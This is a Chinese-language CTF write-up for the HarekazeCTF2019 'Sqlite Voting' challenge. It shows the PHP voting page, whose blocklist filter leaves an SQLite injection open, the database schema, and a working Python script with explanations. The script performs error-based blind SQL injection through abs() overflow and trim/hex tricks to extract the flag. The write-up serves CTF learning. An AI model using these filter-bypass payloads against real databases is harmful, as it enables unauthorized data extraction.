[HarekazeCTF2019]Sqlite Voting
源码
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
header("Content-Type: text/json; charset=utf-8");
// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {
die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Vote id contains dangerous chars']));
}
// update database
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}
// succeeded!
echo json_encode([
'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]);
DROP TABLE IF EXISTS `vote`;
CREATE TABLE `vote` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`name` TEXT NOT NULL,
`count` INTEGER
);
INSERT INTO `vote` (`name`, `count`) VALUES
('dog', 0),
('cat', 0),
('zebra', 0),
('koala', 0);
DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
`flag` TEXT NOT NULL
);
INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
解题步骤
sql注入,很多东西都被过滤了,参考wp:https://xz.aliyun.com/t/6628#toc-4
贴里面的脚本:
# coding: utf-8
import binascii
import requests
URL = 'http://b9a6d2c3-cc98-4ebd-a0c8-76bb104eb007.node4.buuoj.cn:81/vote.php'
l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
解释一下脚本代码:
abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
由于abs会有整形溢出报错,所以用abs加上case...when来进行布尔盲注。
length计算flag的16进制长度。1<< j可以计算二进制1的位置。比如2=10,1<< 0=01,10&01=00; 1<< 1=10,10&10=10这样就不会等于0所以长度为2的hex,j=1
l |= 1 << j
在上面得到了j,l一开始为0,1<< 1之后就是10,于是l= 00|10 = 10这时l为2。如果第4位二进制还有1,这时就是l= 0010|1000 = 1010这时l就为10,经过多次运算,就能算出flag的长度。
trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)
这是对‘zebra’进行hex,然后trim去掉12567即为A,其他的同理
得到所有的hex字符之后,就可以进行爆破了
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
这个语句好像是从后往前执行。对已知的flag部分+猜测的部分,进行trim语句格式写入到t,得到t为6||6||...这样的形式。
abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)
从里面往外面分析。t为res+x(x为猜测位),hex之后的flag,如果存在t,就用空字符(trim(0,0))代替,代替之后,用length计算被代替后长度,然后替换后的长度是否和原长相等,如果相等,就会被替换为空字符,case when判断是否为空字符,如果不是,就会报错。意思就是,如果猜对了,就会代替对的部分为空,这样一定不等于原长,猜错了,就会不变,然后继续用replace来当作=号,等于原长,就会替换为空,否则不替换。经过多次运算,就能把flag的hex爆破出来。
还有,sqlite里面的hex是大写,所以需要upper。